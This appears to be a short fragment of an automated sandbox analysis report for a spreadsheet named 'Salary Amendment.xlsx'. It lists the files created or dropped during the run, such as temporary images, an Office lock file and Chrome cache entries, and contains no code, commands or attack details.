Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\23BA48B4.png

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\4B89FF36.png

C:\Users\user\Desktop\08130000

C:\Users\user\Desktop\08130000:Zone.Identifier

C:\Users\user\Desktop\Salary Amendment.xlsx (copy)

C:\Users\user\Desktop\~$Salary Amendment.xlsx

Chrome Cache Entry: 112

Chrome Cache Entry: 113

Chrome Cache Entry: 114

Chrome Cache Entry: 115

Chrome Cache Entry: 116

Chrome Cache Entry: 117

Chrome Cache Entry: 118

Chrome Cache Entry: 119

Chrome Cache Entry: 120

Chrome Cache Entry: 121

Chrome Cache Entry: 122

Chrome Cache Entry: 123

Chrome Cache Entry: 124

Chrome Cache Entry: 125

Chrome Cache Entry: 126

Chrome Cache Entry: 127

Chrome Cache Entry: 128

Chrome Cache Entry: 129

Chrome Cache Entry: 130

Chrome Cache Entry: 131

Windows Analysis Report
Salary Amendment.xlsx